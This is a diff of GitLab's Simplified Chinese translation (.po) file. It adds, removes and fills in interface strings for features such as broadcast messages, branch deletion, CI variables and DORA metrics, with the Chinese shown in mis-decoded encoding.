msgstr "检查群组路径时出错,请刷新页é¢å¹¶é‡è¯•ã€‚"
@@ -4273,15 +4312,6 @@ msgstr "加载åˆå¹¶è¯·æ±‚æ—¶å‘生错误。"
msgid "An error occurred while loading projects."
msgstr "加载项目时出错。"
-msgid "An error occurred while loading the Jobs tab."
-msgstr "加载作业选项å¡æ—¶å‡ºé”™ã€‚"
-
-msgid "An error occurred while loading the Needs tab."
-msgstr "加载Needs选项å¡æ—¶å‡ºé”™ã€‚"
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr "加载测试报告选项å¡æ—¶å‘生错误。"
-
msgid "An error occurred while loading the blob controls."
msgstr "加载 blob 控件时出错。"
@@ -4315,9 +4345,6 @@ msgstr "加载åˆå¹¶è¯·æ±‚æ—¶å‘生错误。"
msgid "An error occurred while loading the notification settings. Please try again."
msgstr "加载通知设置时å‘生错误。请å†è¯•ä¸€æ¬¡ã€‚"
-msgid "An error occurred while loading the pipeline."
-msgstr "加载æµæ°´çº¿æ—¶å‡ºé”™ã€‚"
-
msgid "An error occurred while loading the pipelines jobs."
msgstr "加载æµæ°´çº¿ä½œä¸šæ—¶å‘生错误。"
@@ -4431,7 +4458,7 @@ msgid "An error occurred. Please try again."
msgstr "å‘生了错误,请å†è¯•ä¸€æ¬¡ã€‚"
msgid "An error occurred. Unable to reopen this merge request."
-msgstr ""
+msgstr "å‘生错误。无法é‡æ–°æ‰“开此åˆå¹¶è¯·æ±‚。"
msgid "An example project for managing Kubernetes clusters integrated with GitLab"
msgstr "一个与GitLab集æˆçš„Kubernetes集群管ç†çš„示例项目。"
@@ -4568,6 +4595,18 @@ msgstr "追加 %{shrug} 到评论"
msgid "Append the comment with %{tableflip}"
msgstr "追加%{tableflip}到评论"
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "应用"
@@ -4667,7 +4706,7 @@ msgid "ApplicationSettings|Enter denylist manually"
msgstr "手动输入拒ç»åˆ—表"
msgid "ApplicationSettings|Hard"
-msgstr ""
+msgstr "高级设置"
msgid "ApplicationSettings|Minimum password length (number of characters)"
msgstr "最å°å¯†ç é•¿åº¦ï¼ˆå­—符数)"
@@ -4708,9 +4747,6 @@ msgstr "请å‚阅%{linkStart}密ç ç­–略指å—%{linkEnd}。"
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr "注册时å‘é€ä¸€å°ç¡®è®¤é‚®ä»¶ã€‚新用户在登录å‰å¿…须确认他们的电å­é‚®ä»¶åœ°å€ã€‚"
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr "注册时å‘é€ç¡®è®¤é‚®ä»¶"
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr "å·²å¯ç”¨æ³¨å†ŒåŠŸèƒ½"
@@ -4799,6 +4835,9 @@ msgstr "正在应用建议..."
msgid "Applying suggestions..."
msgstr "正在应用建议..."
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr "批准规则"
@@ -4935,6 +4974,9 @@ msgstr "添加æ交时:"
msgid "Approvals are optional."
msgstr "核准为å¯é€‰ã€‚"
+msgid "Approvals required"
+msgstr "需è¦æ‰¹å‡†"
+
msgid "Approvals|Section: %section"
msgstr "分段: %section"
@@ -5081,7 +5123,7 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] "您确定è¦å¯¼å…¥%d个仓库å—?"
msgid "Are you sure you want to leave the Web IDE? All unsaved changes will be lost."
-msgstr ""
+msgstr "您确定è¦ç¦»å¼€ Web IDE å—?所有未ä¿å­˜çš„更改都将丢失。"
msgid "Are you sure you want to lock %{path}?"
msgstr "您确定è¦é”定 %{path} å—?"
@@ -5482,6 +5524,9 @@ msgstr "å–消编辑"
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr "自定义 HTTP headers(å¯é€‰ï¼‰"
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr "定义æ•èŽ·å“ªäº›æµäº‹ä»¶"
+
msgid "AuditStreams|Delete %{link}"
msgstr "删除 %{link}"
@@ -5489,7 +5534,7 @@ msgid "AuditStreams|Destination URL"
msgstr "目的地 URL"
msgid "AuditStreams|Destination has filters applied. %{linkStart}What are filters?%{linkEnd}"
-msgstr ""
+msgstr "æµç›®çš„地已应用过滤器。%{linkStart}什么是过滤器?%{linkEnd}"
msgid "AuditStreams|Destinations receive all audit event data"
msgstr "目的地接收所有审计事件数æ®"
@@ -5497,12 +5542,18 @@ msgstr "目的地接收所有审计事件数æ®"
msgid "AuditStreams|Edit %{link}"
msgstr "编辑 %{link}"
+msgid "AuditStreams|Event filtering (optional)"
+msgstr "事件过滤(å¯é€‰ï¼‰"
+
msgid "AuditStreams|Header"
msgstr "Header"
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr "已达到最多 %{number} 个 HTTP headers。"
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr "没有å¯ç”¨çš„过滤器。%{linkStart}如何添加过滤器?%{linkEnd}"
+
msgid "AuditStreams|Remove custom header"
msgstr "移除自定义 header"
@@ -5537,7 +5588,7 @@ msgid "AuditStreams|Verification token"
msgstr "验è¯ä»¤ç‰Œ"
msgid "AuditStreams|filtered"
-msgstr ""
+msgstr "已过滤"
msgid "Aug"
msgstr "8月"
@@ -6786,13 +6837,13 @@ msgid "BranchRules|%{linkStart}Wildcards%{linkEnd} such as *-stable or productio
msgstr "%{linkStart}支æŒé€šé…符%{linkEnd} ,例如 *-stable 或 production/*。"
msgid "BranchRules|%{total} approval %{subject}"
-msgstr ""
+msgstr "%{total} 个批准 %{subject}"
msgid "BranchRules|%{total} matching %{subject}"
-msgstr ""
+msgstr "%{total} ä¸ªåŒ¹é… %{subject}"
msgid "BranchRules|%{total} status %{subject}"
-msgstr ""
+msgstr "%{total} ä¸ªçŠ¶æ€ %{subject}"
msgid "BranchRules|All branches"
msgstr "所有分支"
@@ -6918,7 +6969,7 @@ msgid "Branches: %{source_branch} → %{target_branch}"
msgstr "分支:%{source_branch} → %{target_branch}"
msgid "Branches|A branch won't be deleted if it is protected or associated with an open merge request."
-msgstr ""
+msgstr "如果分支å—到ä¿æŠ¤æˆ–与开放的åˆå¹¶è¯·æ±‚相关è”,则ä¸ä¼šè¢«åˆ é™¤ã€‚"
msgid "Branches|Active"
msgstr "活跃"
@@ -6942,10 +6993,10 @@ msgid "Branches|Compare"
msgstr "比较"
msgid "Branches|Delete all branches that are merged into '%{defaultBranch}'"
-msgstr ""
+msgstr "删除已åˆå¹¶åˆ° %{defaultBranch} 的所有分支"
msgid "Branches|Delete all merged branches?"
-msgstr ""
+msgstr "删除所有已åˆå¹¶çš„分支å—?"
msgid "Branches|Delete branch"
msgstr "删除分支"
@@ -6987,7 +7038,7 @@ msgid "Branches|Please type the following to confirm:"
msgstr "请输入以下内容以确认:"
msgid "Branches|Plese type the following to confirm: %{codeStart}delete%{codeEnd}."
-msgstr ""
+msgstr "请输入以下内容进行确认:%{codeStart}delete%{codeEnd}。"
msgid "Branches|Show active branches"
msgstr "查看活跃分支"
@@ -7023,10 +7074,10 @@ msgid "Branches|This branch hasn't been merged into %{defaultBranchName}. To avo
msgstr "此分支尚未åˆå¹¶åˆ° %{defaultBranchName} 中。为é¿å…æ•°æ®ä¸¢å¤±ï¼Œè¯·è€ƒè™‘在删除之å‰åˆå¹¶æ­¤åˆ†æ”¯ã€‚"
msgid "Branches|This bulk action is %{strongStart}permanent and cannot be undone or recovered%{strongEnd}."
-msgstr ""
+msgstr "此批é‡æ“作是%{strongStart}永远无法撤消或æ¢å¤çš„%{strongEnd}。"
msgid "Branches|This may include merged branches that are not visible on the current screen."
-msgstr ""
+msgstr "å¯èƒ½åŒ…括在当å‰å±å¹•ä¸Šä¸å¯è§çš„å·²åˆå¹¶åˆ†æ”¯ã€‚"
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr "è¦æ”¾å¼ƒæœ¬åœ°æ›´æ”¹å¹¶è¦†ç›–上游版本的分支,请在此处将其删除,然åŽé€‰æ‹©ä¸Šé¢çš„“立å³æ›´æ–°â€ã€‚"
@@ -7041,7 +7092,7 @@ msgid "Branches|Yes, delete protected branch"
msgstr "是的,删除å—ä¿æŠ¤çš„分支"
msgid "Branches|You are about to %{strongStart}delete all branches%{strongEnd} that were merged into %{codeStart}%{defaultBranch}%{codeEnd}."
-msgstr ""
+msgstr "分支|您å³å°†%{strongStart}删除åˆå¹¶åˆ° %{codeStart}%{defaultBranch}%{codeEnd} 中的所有分支%{strongEnd}。"
msgid "Branches|You're about to permanently delete the branch %{branchName}."
msgstr "您将è¦æ°¸ä¹…删除分支 %{branchName}。"
@@ -7070,9 +7121,93 @@ msgstr "广播消æ¯å·²æˆåŠŸæ›´æ–°ã€‚"
msgid "Broadcast Messages"
msgstr "广播消æ¯"
+msgid "BroadcastMessages|Add broadcast message"
+msgstr "添加广播消æ¯"
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr "å…许用户关闭广播消æ¯"
+
+msgid "BroadcastMessages|Banner"
+msgstr "Banner"
+
+msgid "BroadcastMessages|Blue"
+msgstr "è“色"
+
+msgid "BroadcastMessages|Dark"
+msgstr "深色"
+
+msgid "BroadcastMessages|Dismissable"
+msgstr "å¯å…³é—­"
+
+msgid "BroadcastMessages|Ends at"
+msgstr "结æŸäºŽ"
+
+msgid "BroadcastMessages|Green"
+msgstr "绿色"
+
+msgid "BroadcastMessages|Indigo"
+msgstr "é›è“色"
+
+msgid "BroadcastMessages|Light"
+msgstr "浅色"
+
+msgid "BroadcastMessages|Light Blue"
+msgstr "æµ…è“色"
+
+msgid "BroadcastMessages|Light Green"
+msgstr "浅绿色"
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr "æµ…é›è“色"
+
+msgid "BroadcastMessages|Light Red"
+msgstr "浅红色"
+
+msgid "BroadcastMessages|Message"
+msgstr "消æ¯"
+
+msgid "BroadcastMessages|Notification"
+msgstr "通知"
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr "路径å¯ä»¥åŒ…å«é€šé…符,例如 */welcome"
+
+msgid "BroadcastMessages|Red"
+msgstr "红色"
+
+msgid "BroadcastMessages|Starts at"
+msgstr "开始于"
+
+msgid "BroadcastMessages|Target Path"
+msgstr "目标路径"
+
+msgid "BroadcastMessages|Target roles"
+msgstr "目标角色"
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr "广播消æ¯ä»…å‘具有这些角色的项目和群组中的用户显示。"
+
+msgid "BroadcastMessages|Theme"
+msgstr "主题"
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr "添加广播消æ¯æ—¶å‡ºé”™ã€‚"
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr "更新广播消æ¯æ—¶å‡ºé”™ã€‚"
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr "删除此消æ¯æ—¶å‡ºçŽ°é—®é¢˜ï¼Œè¯·ç¨åŽå†è¯•ã€‚"
+msgid "BroadcastMessages|Type"
+msgstr "类型"
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr "更新广播消æ¯"
+
+msgid "BroadcastMessages|Your message here"
+msgstr "您的消æ¯åœ¨è¿™é‡Œ"
+
msgid "Browse Directory"
msgstr "æµè§ˆç›®å½•"
@@ -7098,7 +7233,7 @@ msgid "BuildArtifacts|Loading artifacts"
msgstr "加载产物中"
msgid "Building your merge request. Wait a few moments, then refresh this page."
-msgstr ""
+msgstr "构建您的åˆå¹¶è¯·æ±‚。ç¨ç­‰ç‰‡åˆ»ï¼Œç„¶åŽåˆ·æ–°æ­¤é¡µé¢ã€‚"
msgid "Built-in"
msgstr "内置"
@@ -7668,6 +7803,9 @@ msgstr "ä¸èƒ½å‡çº§é—®é¢˜ï¼Œå› ä¸ºå®ƒä¸å±žäºŽä¸€ä¸ªç»„。"
msgid "Cannot promote issue due to insufficient permissions."
msgstr "由于æƒé™ä¸è¶³ï¼Œæ— æ³•å‡çº§è®®é¢˜ã€‚"
+msgid "Cannot push to source branch"
+msgstr "无法推é€åˆ°æºåˆ†æ”¯"
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr "无法通过内部ID引用群组里程碑ï¼"
@@ -7779,14 +7917,11 @@ msgstr "更改您的密ç "
msgid "Change your password or recover your current one"
msgstr "更改您的密ç æˆ–æ¢å¤å½“å‰å¯†ç "
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr "审核者已从%{old}更改为%{new}"
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr "审核者已更改为 %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
+msgstr ""
-msgid "ChangeReviewer|Unassigned"
-msgstr "未分é…"
+msgid "ChangeReviewer|All reviewers were removed."
+msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
msgstr "拣选"
@@ -7906,7 +8041,7 @@ msgid "ChatMessage|Pipeline %{pipeline_link} of %{ref_type} %{ref_link} by %{use
msgstr "ç”±%{user_combined_name}%{humanized_status}触å‘çš„%{ref_type}%{ref_link}æµæ°´çº¿%{pipeline_link}"
msgid "ChatMessage|Pipeline name"
-msgstr ""
+msgstr "æµæ°´çº¿å称"
msgid "ChatMessage|Tag"
msgstr "标签"
@@ -7957,7 +8092,7 @@ msgid "Check your Kubernetes cluster images for known vulnerabilities."
msgstr "检查您的 Kubernetes 集群镜åƒæ˜¯å¦å­˜åœ¨å·²çŸ¥æ¼æ´žã€‚"
msgid "Check your sign-up restrictions"
-msgstr ""
+msgstr "检查您的注册é™åˆ¶"
msgid "Checking %{text} availability…"
msgstr "正在检查%{text}çš„å¯ç”¨æ€§..."
@@ -8066,6 +8201,9 @@ msgstr "继续付款"
msgid "Checkout|Country"
msgstr "国家"
+msgid "Checkout|Coupon code (optional)"
+msgstr "优惠券ç ï¼ˆå¯é€‰ï¼‰"
+
msgid "Checkout|Create a new group"
msgstr "创建新群组"
@@ -8094,7 +8232,7 @@ msgid "Checkout|Failed to load states. Please try again."
msgstr "加载州失败。请é‡è¯•ã€‚"
msgid "Checkout|Failed to load the payment form. Refresh the page and try again."
-msgstr ""
+msgstr "加载付款表å•å¤±è´¥ã€‚刷新页é¢å¹¶é‡è¯•ã€‚"
msgid "Checkout|Failed to register credit card. Please try again."
msgstr "注册信用å¡å¤±è´¥ã€‚请å†è¯•ä¸€æ¬¡ã€‚"
@@ -8118,7 +8256,7 @@ msgid "Checkout|Must be %{minimumNumberOfUsers} (your seats in use, plus all ove
msgstr "必须为 %{minimumNumberOfUsers} (使用中的席ä½æ•°ï¼‰æˆ–更多。è¦è´­ä¹°æ›´å°‘的席ä½ï¼Œè¯·ä»Žç¾¤ç»„中移除æˆå‘˜ã€‚"
msgid "Checkout|Must be 1 or more. Cannot be a decimal."
-msgstr ""
+msgstr "必须大于等于 1。ä¸èƒ½ä¸ºå°æ•°ã€‚"
msgid "Checkout|Name of company or organization using GitLab"
msgstr "使用GitLabçš„å…¬å¸æˆ–组织的å称"
@@ -8225,12 +8363,6 @@ msgstr "å­çº§"
msgid "Child epic"
msgstr "å­å²è¯—"
-msgid "Child epic does not exist."
-msgstr "å­å²è¯—ä¸å­˜åœ¨ã€‚"
-
-msgid "Child epic doesn't exist."
-msgstr "å­å²è¯—ä¸å­˜åœ¨ã€‚"
-
msgid "Child issues and epics"
msgstr "å­è®®é¢˜å’Œå²è¯—"
@@ -8364,13 +8496,13 @@ msgid "CiVariables|Cannot use Masked Variable with current value"
msgstr "当å‰å€¼æ— æ³•ä½¿ç”¨éšè—å˜é‡"
msgid "CiVariables|Clear inputs"
-msgstr ""
+msgstr "清除输入"
msgid "CiVariables|Environments"
msgstr "环境"
msgid "CiVariables|Expanded"
-msgstr ""
+msgstr "展开"
msgid "CiVariables|Input variable key"
msgstr "输入å˜é‡çš„å称"
@@ -8385,7 +8517,7 @@ msgid "CiVariables|Masked"
msgstr "éšè—"
msgid "CiVariables|Maximum number of variables reached."
-msgstr ""
+msgstr "已达到最大å˜é‡æ•°ã€‚"
msgid "CiVariables|Options"
msgstr "选项"
@@ -8400,7 +8532,7 @@ msgid "CiVariables|Remove variable row"
msgstr "删除å˜é‡è¡Œ"
msgid "CiVariables|Run job again"
-msgstr ""
+msgstr "å†æ¬¡è¿è¡Œä½œä¸š"
msgid "CiVariables|Scope"
msgstr "范围"
@@ -8412,7 +8544,10 @@ msgid "CiVariables|State"
msgstr "状æ€"
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
-msgstr ""
+msgstr "æ­¤ %{entity} 有 %{currentVariableCount} 个定义的 CI/CD å˜é‡ã€‚æ¯ä¸ª %{entity} 的最大å˜é‡æ•°æ˜¯ %{maxVariableLimit}。è¦æ·»åŠ æ–°å˜é‡ï¼Œæ‚¨å¿…é¡»å‡å°‘定义å˜é‡çš„æ•°é‡ã€‚"
+
+msgid "CiVariables|Trigger this manual action"
+msgstr "触å‘此手动æ“作"
msgid "CiVariables|Type"
msgstr "类型"
@@ -8424,10 +8559,10 @@ msgid "CiVariables|Variables"
msgstr "å˜é‡"
msgid "CiVariables|Variables store information, like passwords and secret keys, that you can use in job scripts. Each %{entity} can define a maximum of %{limit} variables."
-msgstr ""
+msgstr "å˜é‡å­˜å‚¨æ‚¨å¯ä»¥åœ¨ä½œä¸šè„šæœ¬ä¸­ä½¿ç”¨çš„ä¿¡æ¯ï¼Œå¦‚密ç å’Œå¯†é’¥ã€‚æ¯ä¸ª %{entity} 最多å¯ä»¥å®šä¹‰ %{limit} 个å˜é‡ã€‚"
msgid "CiVariables|You have reached the maximum number of variables available. To add new variables, you must reduce the number of defined variables."
-msgstr ""
+msgstr "您已达到å¯ç”¨å˜é‡çš„最大数é‡ã€‚è¦æ·»åŠ æ–°å˜é‡ï¼Œæ‚¨å¿…é¡»å‡å°‘定义å˜é‡çš„æ•°é‡ã€‚"
msgid "CiVariable|* (All environments)"
msgstr "* (所有环境)"
@@ -8538,6 +8673,9 @@ msgstr "å•å‡»ä¸‹é¢çš„链接以验è¯æ‚¨çš„电å­é‚®ä»¶åœ°å€ï¼ˆ%{email})"
msgid "Click the link below to confirm your email address."
msgstr "å•å‡»ä¸‹é¢çš„链接以验è¯æ‚¨çš„电å­é‚®ä»¶åœ°å€ã€‚"
+msgid "Click to expand"
+msgstr "点击展开"
+
msgid "Click to expand it."
msgstr "点击以展开。"
@@ -8640,12 +8778,18 @@ msgstr "已关闭的议题"
msgid "Closed this %{quick_action_target}."
msgstr "已关闭此%{quick_action_target}."
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr "关闭此议题。已标记为与 %{duplicate_param} å…³è”并é‡å¤ã€‚"
+
msgid "Closed: %{closed}"
msgstr "关闭: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "关闭此%{quick_action_target}."
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr "关闭此议题。标记为与 %{duplicate_reference} å…³è”并é‡å¤ã€‚"
+
msgid "Cloud Run"
msgstr "Cloud Run"
@@ -9119,7 +9263,7 @@ msgid "ClusterAgents|Unknown user"
msgstr "未知用户"
msgid "ClusterAgents|Use a Helm version compatible with your Kubernetes version (see %{linkStart}Helm version support policy%{linkEnd})."
-msgstr ""
+msgstr "使用与您的 Kubernetes 版本兼容的 Helm 版本(å‚è§ %{linkStart}Helm 版本支æŒç­–ç•¥%{linkEnd})。"
msgid "ClusterAgents|Valid access token"
msgstr "有效的访问令牌"
@@ -9310,21 +9454,6 @@ msgstr "环境范围是必需的。"
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr "æ¯ä¸ªæ–°çš„ Google äº‘å¹³å° (GCP) å¸æˆ·ä½¿ç”¨æ­¤é“¾æŽ¥ %{sign_up_link} å¯ä»¥æ”¶åˆ° 价值300美元的å…è´¹é¢åº¦ã€‚通过与Google çš„åˆä½œï¼ŒGitLabå¯ä»¥ä¸ºæ–°æ³¨å†Œçš„和现有的 GCP å¸æˆ·æä¾›é¢å¤– 200 美元的é¢åº¦ï¼Œä»¥æ–¹ä¾¿å®žçŽ°GitLabå’Œ Google Kubernetes引擎的集æˆã€‚"
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr "无法é…ç½®EKSæ供程åºï¼š%{message}"
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr "é…置谷歌Kubernetes引擎(GKE)集群失败: %{message}"
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr "获å–CloudFormation stack失败:%{message}"
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr "请求Google云平å°å¤±è´¥: %{message}"
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr "è¿è¡Œ Kubeclient 失败: %{message}"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab集æˆ"
@@ -9812,6 +9941,9 @@ msgstr "无相关åˆå¹¶è¯·æ±‚"
msgid "Committed by"
msgstr "æ交者:"
+msgid "CommonJS module"
+msgstr "CommonJS 模å—"
+
msgid "Community forum"
msgstr "社区论å›"
@@ -9942,7 +10074,7 @@ msgid "ComplianceFrameworks|Configuration not found"
msgstr "找ä¸åˆ°é…ç½®"
msgid "ComplianceFrameworks|Default compliance framework successfully updated"
-msgstr ""
+msgstr "默认åˆè§„框架已æˆåŠŸæ›´æ–°"
msgid "ComplianceFrameworks|Delete compliance framework %{framework}"
msgstr "删除åˆè§„框架%{framework}"
@@ -9969,7 +10101,7 @@ msgid "ComplianceFrameworks|Error fetching compliance frameworks data. Please re
msgstr "获å–åˆè§„框架数æ®æ—¶å‡ºé”™ã€‚请刷新页é¢æˆ–å°è¯•å…¶å®ƒçš„框架"
msgid "ComplianceFrameworks|Error setting the default compliance frameworks"
-msgstr ""
+msgstr "设置默认åˆè§„框架时出错"
msgid "ComplianceFrameworks|Frameworks that have been added will appear here."
msgstr "已添加的框架将出现在此处。"
@@ -9987,13 +10119,13 @@ msgid "ComplianceFrameworks|No compliance frameworks are set up yet"
msgstr "尚未设置åˆè§„框架"
msgid "ComplianceFrameworks|Remove default"
-msgstr ""
+msgstr "删除默认值"
msgid "ComplianceFrameworks|Required format: %{codeStart}path/file.y[a]ml@group-name/project-name%{codeEnd}. %{linkStart}What is a compliance pipeline configuration?%{linkEnd}"
msgstr "所需格å¼ï¼š%{codeStart}path/file.y[a]ml@group-name/project-name%{codeEnd}。%{linkStart}什么是åˆè§„æµæ°´çº¿é…置?%{linkEnd}"
msgid "ComplianceFrameworks|Set default"
-msgstr ""
+msgstr "设置默认值"
msgid "ComplianceFrameworks|Unable to save this compliance framework. Please try again"
msgstr "无法ä¿å­˜æ­¤åˆè§„性框架。请é‡è¯•"
@@ -10002,7 +10134,7 @@ msgid "ComplianceFrameworks|You are about to permanently delete the compliance f
msgstr "您å³å°†ä»Žæ‰€æœ‰å½“å‰åº”用的项目中永久删除åˆè§„框架 %{framework} ,这å¯èƒ½ä¼šåˆ é™¤å…¶å®ƒåŠŸèƒ½ã€‚æ­¤æ“作无法撤消。"
msgid "ComplianceFrameworks|default"
-msgstr ""
+msgstr "默认值"
msgid "ComplianceFramework|Add a framework to %{linkStart}%{groupName}%{linkEnd} and it will appear here."
msgstr "添加一个框架到 %{linkStart}%{groupName}%{linkEnd} 并将出现在这里。"
@@ -10170,7 +10302,7 @@ msgid "Configure the %{link} integration."
msgstr "é…ç½® %{link} 集æˆã€‚"
msgid "Configure the default first day of the week, time tracking units, and default language."
-msgstr ""
+msgstr "é…置默认的æ¯å‘¨çš„第一天ã€æ—¶é—´è·Ÿè¸ªå•ä½å’Œé»˜è®¤è¯­è¨€ã€‚"
msgid "Configure the way a user creates a new account."
msgstr "é…置用户创建新å¸æˆ·çš„æ–¹å¼ã€‚"
@@ -10290,7 +10422,7 @@ msgid "Connecting to terminal sync service"
msgstr "连接到终端åŒæ­¥æœåŠ¡"
msgid "Connecting to the remote environment..."
-msgstr ""
+msgstr "正在连接到远端环境..."
msgid "Connecting..."
msgstr "正在连接..."
@@ -10700,6 +10832,9 @@ msgstr "继续编辑"
msgid "Continue to the next step"
msgstr "转到下一步"
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr "æŒç»­é›†æˆå’Œéƒ¨ç½²"
@@ -11088,11 +11223,14 @@ msgid "Couldn't assign policy to project or group"
msgstr "无法将策略分é…给项目或群组"
msgid "Couldn't find event type filters where audit event type(s): %{missing_filters}"
-msgstr ""
+msgstr "找ä¸åˆ°å®¡è®¡äº‹ä»¶ç±»åž‹çš„事件类型过滤器:%{missing_filters}"
msgid "Country"
msgstr "国家/地区"
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr "计数å映您å¯èƒ½æ²¡æœ‰è®¿é—®æƒé™çš„å­é¡¹ã€‚"
@@ -11301,7 +11439,7 @@ msgid "Create tag %{tagName}"
msgstr "创建标签 %{tagName}"
msgid "Create testing scenarios by defining project conditions in your development platform."
-msgstr ""
+msgstr "通过在开å‘å¹³å°ä¸­å®šä¹‰é¡¹ç›®æ¡ä»¶æ¥åˆ›å»ºæµ‹è¯•åœºæ™¯ã€‚"
msgid "Create topic"
msgstr "创建主题"
@@ -11340,40 +11478,40 @@ msgid "CreateTag|Tag"
msgstr "标签"
msgid "CreateTimelogForm|Add time entry"
-msgstr ""
+msgstr "添加时间æ¡ç›®"
msgid "CreateTimelogForm|An error occurred while saving the time entry."
-msgstr ""
+msgstr "ä¿å­˜æ—¶é—´æ¡ç›®æ—¶å‡ºé”™ã€‚"
msgid "CreateTimelogForm|Cancel"
-msgstr ""
+msgstr "å–消"
msgid "CreateTimelogForm|Example: 1h 30m"
-msgstr ""
+msgstr "示例:1h 30m"
msgid "CreateTimelogForm|How do I track and estimate time?"
-msgstr ""
+msgstr "如何跟踪和估计时间?"
msgid "CreateTimelogForm|Save"
-msgstr ""
+msgstr "ä¿å­˜"
msgid "CreateTimelogForm|Spent at"
-msgstr ""
+msgstr "花费于"
msgid "CreateTimelogForm|Summary"
-msgstr ""
+msgstr "摘è¦"
msgid "CreateTimelogForm|Time spent"
-msgstr ""
+msgstr "花费时间"
msgid "CreateTimelogForm|Track time spent on this %{issuableTypeNameStart}%{issuableTypeNameEnd}. %{timeTrackingDocsLinkStart}%{timeTrackingDocsLinkEnd}"
msgstr ""
msgid "CreateTimelogForm|issue"
-msgstr ""
+msgstr "议题"
msgid "CreateTimelogForm|merge request"
-msgstr ""
+msgstr "åˆå¹¶è¯·æ±‚"
msgid "CreateValueStreamForm|%{name} (default)"
msgstr "%{name} (默认)"
@@ -11601,7 +11739,7 @@ msgid "Credit card:"
msgstr "信用å¡ï¼š"
msgid "Critical - S1"
-msgstr ""
+msgstr "ä¸¥é‡ - S1"
msgid "Critical vulnerabilities present"
msgstr "存在严é‡æ¼æ´ž"
@@ -11988,6 +12126,9 @@ msgstr "ä¸é€‚用于给定的开始事件"
msgid "CycleAnalytics|project dropdown filter"
msgstr "项目下拉列表筛选器"
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr "DAGå¯è§†åŒ–至少需è¦3个ä¾èµ–作业。"
@@ -12012,9 +12153,12 @@ msgstr "%{startDate} - %{endDate}"
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr "å¹³å‡ï¼ˆæœ€è¿‘%{days}天)"
-msgid "DORA4Metrics|Change Failure Rate"
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
msgstr ""
+msgid "DORA4Metrics|Change Failure Rate"
+msgstr "更改失败率"
+
msgid "DORA4Metrics|Change failure rate"
msgstr "更改失败率"
@@ -12022,10 +12166,13 @@ msgid "DORA4Metrics|Change failure rate (percentage)"
msgstr "å˜æ›´å¤±è´¥çŽ‡ï¼ˆç™¾åˆ†æ¯”)"
msgid "DORA4Metrics|Cycle time"
-msgstr ""
+msgstr "周期时间"
+
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr "%{name} 群组的 DORA 指标"
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
-msgstr "%{groupName} 群组的 DORA指标"
+msgid "DORA4Metrics|DORA metrics for %{name} project"
+msgstr "%{name} 项目的 DORA 指标"
msgid "DORA4Metrics|Date"
msgstr "日期"
@@ -12037,19 +12184,25 @@ msgid "DORA4Metrics|Days from merge to deploy"
msgstr "从åˆå¹¶åˆ°éƒ¨ç½²çš„天数"
msgid "DORA4Metrics|Deployment Frequency"
-msgstr ""
+msgstr "部署频率"
msgid "DORA4Metrics|Deployment frequency"
msgstr "部署频率"
msgid "DORA4Metrics|Deploys"
-msgstr ""
+msgstr "部署"
+
+msgid "DORA4Metrics|Failed to load charts"
+msgstr "加载图表失败"
+
+msgid "DORA4Metrics|Go to docs"
+msgstr "转到文档"
msgid "DORA4Metrics|Lead Time for Changes"
-msgstr ""
